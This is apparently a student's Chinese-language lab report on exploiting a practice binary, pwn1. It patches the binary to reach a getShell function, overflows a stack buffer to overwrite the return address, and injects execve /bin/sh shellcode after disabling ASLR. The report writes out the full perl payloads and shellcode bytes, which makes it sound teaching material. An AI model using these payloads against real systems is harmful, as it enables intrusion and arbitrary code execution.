2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 实验任务
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
-
三个实践内容如下:
-
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
-
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
-
注入一个自己制作的shellcode并运行这段shellcode。
-
这几种思路,基本代表现实情况中的攻击目标:
-
运行原本不可访问的代码片段
-
强行修改程序执行流
-
以及注入运行任意代码。
- 基础知识
- NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP指令即“空指令”,执行到NOP指令时,CPU什么也不做,机器码是90;
JNE即条件转移指令,如果不相等则跳转,机器码是75;
JE即条件转移指令,如果相等则跳转,机器码是74;
JMP即无条件转移指令。段内直接短转Jmp short,机器码是EB; 段内直接近转移Jmp near,机器码是E9; 段内间接转移 Jmp word,机器码是FF; 段间直接(远)转移Jmp far,机器码是EA;
CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。
- 实验过程
- 实验点1:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
-
使用objdump -d pwn1将pwn1反汇编;
可找到80484b5: e8 d7 ff ff ff call 8048491这条汇编指令,这条指令就是在main函数中调用位于地址8048491处的foo函数,e8表示“call”,d7 ff ff ff是地址。因此,我们想让函数调用getShell,只需将其修改为c3 ff ff ff;
-
vi pwn1进入编辑器,输入:%!xxd将显示模式切换为十六进制,准备进行修改;
-
在底行模式输入/e8d7定位需要修改的地方,确认并按i进入插入模式,修改d7为c3;
-
输入:%!xxd -r将十六进制转换为原格式,再输入:wq!保存并退出;
-
输入./pwn1,即运行修改后的代码,可以得到shell提示符;
- 实验点2:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
-
使用gdb调试pwn1,当输入字符长度合法时,该可执行文件可调用函数foo,正常运行;
-
当输入字符长度过长时,发生段错误,产生溢出;
-
查看eip寄存器中的值,可发现是输入字符串中的“5”发生溢出;
-
进一步确认,可发现是1234 那四个数最终会覆盖到堆栈上的返回地址,因此要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell;
-
使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input命令构造文件;
-
输入(cat input; cat) | ./pwn1
- 实验点3:注入一个自己制作的shellcode并运行这段shellcode
-
使用apt-get install execstack命令安装execstack;
-
使用如下指令进行配置:
execstack -s pwn1
execstack -q pwn1
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
-
使用命令 perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
其中,前面32个A用来填满buf,\x04\x03\x02\x01为预留的返回地址,随后修改这个返回地址。 -
在一个终端里用 (cat input_shellcode;cat) | ./pwn1 注入这段攻击;
-
在另一个终端打开,使用ps -ef | grep pwn查看pwn1这个进程,发现进程号为35803;
-
使用gdb进行调试,输入attach 35803 ;
-
使用disassemble foo 命令进行反汇编;
-
使用 break *0x080484ae 命令设置断点,输入c命令(continue)继续运行,同时在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp命令查找地址;
-
使用x/16x 0xffffd35c查看其存放内容,01020304就是返回地址的位置,所以地址应为0xffffd360;
-
将之前的\x4\x3\x2\x1改为这个地址,再使用命令(cat input_shellcode;cat) | ./pwn1 执行程序,攻击成功。
- 实验收获与感想
-
这次实验是在听完老师讲解后,又参考学长学姐的博客完成的。通过这次实验,初步理解了缓冲区溢出的原理,以及恶意代码的覆盖和执行等,虽然学习的过程有些坎坷,但收获还算很大的。
-
漏洞:漏洞就是硬件或软件等方面存在的缺陷。危害很大,能被人利用,恶意入侵、篡改或控制计算机,存在很大的安全隐患。